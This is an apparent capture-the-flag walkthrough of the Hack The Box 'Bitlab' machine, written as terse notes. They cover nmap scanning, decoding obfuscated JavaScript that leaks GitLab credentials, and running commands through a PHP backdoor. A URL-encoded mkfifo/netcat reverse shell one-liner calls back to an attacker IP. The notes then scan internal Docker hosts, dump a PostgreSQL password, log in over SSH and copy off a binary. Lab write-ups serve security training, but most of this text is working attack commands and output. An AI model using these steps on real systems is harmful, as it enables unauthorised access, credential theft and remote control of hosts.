PHP BACKDOOR

PHP DATABASE

RE TO PRIVESC

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)

| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)

|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)

80/tcp open http nginx

| http-robots.txt: 55 disallowed entries (15 shown)

| / /autocomplete/users /search /api /admin /profile

| /dashboard /projects/new /groups/new /groups/*/edit /users /help

|_/s/ /snippets/new /snippets/*/edit

| http-title: Sign in \xC2\xB7 GitLab

|_Requested resource was http://bitlab.htb/users/sign_in

|_http-trane-info: Problem with XML parsing of /evox/about

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://bitlab.htb/robots.txt

/help

http://bitlab.htb/help/bookmarks.html

view-source:http://bitlab.htb/help/bookmarks.html

_0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0

x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()"
ADD_DATE="1554932142">Gitlab Login</A>

root@kali:~/Desktop/HTB/boxes/bitlab# js

> var
_0x4b18=['\x76\x61\x6C\x75\x65','\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E','\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\
x74\x42\x79\x49\x64','\x63\x6C\x61\x76\x65','\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64','\x31\x31\x64\x
65\x73\x30\x30\x38\x31\x78'];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]=
_0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];

> _0x4b18
['value',
  'user_login',
  'getElementById',
  'clave',
  'user_password',
  '11des0081x']
>

http://bitlab.htb/users/sign_in

clave

11des0081x

http://bitlab.htb/dashboard/snippets

<?php

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");

$result = pg_query($db_connection, "SELECT * FROM profiles");

http://bitlab.htb/root/profile

http://bitlab.htb/root/profile/tree/master#

http://bitlab.htb/profile/backdoor.php?cmd=whoami

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-
i%202%3E%261%7Cnc%2010.10.14.33%201234%20%3E%2Ftmp%2Ff (URL ENCODE)

root@akg:/home/akg/Desktop/hackthebox/bitlab# nc -nlvp 1234

SHELL GAINED!!!

www-data@bitlab:/var/www/html/profile$ ifconfig (DOCKER CONTAINERS)

www-data@bitlab:/var/www/html/profile$ ip neigh

172.19.0.2 dev br-c8b1f0816703 lladdr 02:42:ac:13:00:02 REACHABLE

```
172.19.0.5 dev br-c8b1f0816703 lladdr 02:42:ac:13:00:05 STALE

10.10.10.2 dev eth0 lladdr 00:50:56:b9:c2:27 DELAY

fe80::250:56ff:feb9:c227 dev eth0 lladdr 00:50:56:b9:c2:27 router STALE


www-data@bitlab:/var/www/html/profile$ nmap  172.19.0.2-5

Nmap scan report for 172.19.0.3

Host is up (0.0011s latency).

All 1000 scanned ports on 172.19.0.3 are closed


Nmap scan report for 172.19.0.4

Host is up (0.0010s latency).

Not shown: 999 closed ports

PORT     STATE SERVICE

5432/tcp open  postgresql


Nmap scan report for 172.19.0.5

Host is up (0.00022s latency).

Not shown: 997 closed ports

PORT     STATE SERVICE

22/tcp   open  ssh

80/tcp   open  http

8181/tcp open  intermapper

www-data@bitlab:/var/www/html/profile$ php –a

php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');

php >  $result = $connection->query("SELECT * FROM profiles");

php > $profiles = $result->fetchAll();

php > print_r($profiles);

Array

(

   [0] => Array

      (
```

```
            [id] => 1
            [0] => 1
            [username] => clave
            [1] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==
            [2] => c3NoLXN0cjBuZy1wQHNz==
        )

)
```

```
root@akg:/home/akg/Desktop/tools# ssh clave@bitlab.htb
clave@bitlab:~$ ls
RemoteConnection.exe  user.txt
root@akg:/home/akg/Desktop/hackthebox/bitlab# scp clave@bitlab.htb:/home/clave/RemoteConnection.exe ./
```